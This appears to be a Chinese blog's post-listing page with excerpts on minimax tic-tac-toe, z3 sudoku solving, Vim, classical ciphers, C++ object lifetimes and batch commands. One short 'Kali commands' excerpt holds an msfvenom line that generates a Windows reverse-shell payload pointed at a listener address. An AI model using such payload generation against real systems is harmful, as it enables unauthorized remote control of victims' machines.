Misc
AlwaysBetter
男儿何不带吴钩
展开
-
极大极小值算法 搜索
以下,参考<算法精粹:经典计算机科学问题的Python实现> 写的一个简单Tictoe 井字棋搜索Aifrom typing import NewType,List# 一步棋,可以用一个整数代表这一步棋(放在哪个方格)Move = NewType('Move',int)# 表示棋盘上的一种棋子 opposite是回合指示器class Piece: def __init__(self): pass#棋盘的状态class Board(): # 从当原创 2021-12-22 11:20:13 · 937 阅读 · 0 评论 -
z3解数独
from z3 import*board = [ [0, 4, 0, 0, 0, 0, 1, 0, 0], [9, 2, 0, 0, 0, 0, 6, 0, 7], [0, 0, 0, 0, 0, 5, 4, 0, 0], [0, 1, 0, 0, 0, 3, 0, 0, 0], [0, 0, 0, 0, 0, 1, 0, 0, 0], [0, 0, 0, 5,原创 2021-10-27 10:40:42 · 562 阅读 · 0 评论 -
Vim学习笔记
之前vim的学习笔记贴上来Vimmodenormalfirst enter vim is in this mode, esc back to this mode.insertnormal mode --> insert mode:i: insert from posa:[append] append text from poso:insert from next lineI: insert from begin of this lineA:append from.原创 2021-08-15 11:50:19 · 148 阅读 · 0 评论 -
密码学学习笔记
History恺撒密码恺撒密码其实就是把明文字母表平移若干个字母实现的原理清晰简单,解密反向平移若干位即可而破译者只需要尝试至多25次即可解密简单替换密码简单替换密码是吧明文字母表中每一项对应另外一个字母,映射关系形成一张表,加密与解密都基于该映射表原理也十分简单,而尝试暴力破解却不可行,因为映射关系相当与26个字母的全排列:26! 即使每秒遍历10亿个密钥,也需要超过120亿年的时间如何破译 - 频率分析法因为人类自然语言中26个字母的使用频率是不相同的,据统计,一般英语文章中频率最高的原创 2021-08-10 20:06:18 · 518 阅读 · 0 评论 -
c++ 构造与析构顺序
C++ 构造与析构顺序derived class#include <iostream>using namespace std;class Base{public: int Base_data; Base():Base_data(1) { cout<<"Base construction"<<endl; } virtual ~Base() { cout<< "Base d原创 2021-08-09 12:33:00 · 257 阅读 · 0 评论 -
Kali命令
generate reverse shellmsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.64.130 LPORT=443 -f c -b \x00\x0a\x0d原创 2021-07-20 11:08:39 · 119 阅读 · 0 评论 -
Bat Cmd 使用到的命令随笔
计次循环for /l %i in (1,1,cnt) do command生成若干空文件for /l %i in (1,1,14) do cd.>%i.txt批量重命名for %i in (*.txt) do rename %i %~ni.data其中%~ni是只把%i扩充到后缀名之前原创 2021-07-18 18:33:25 · 83 阅读 · 0 评论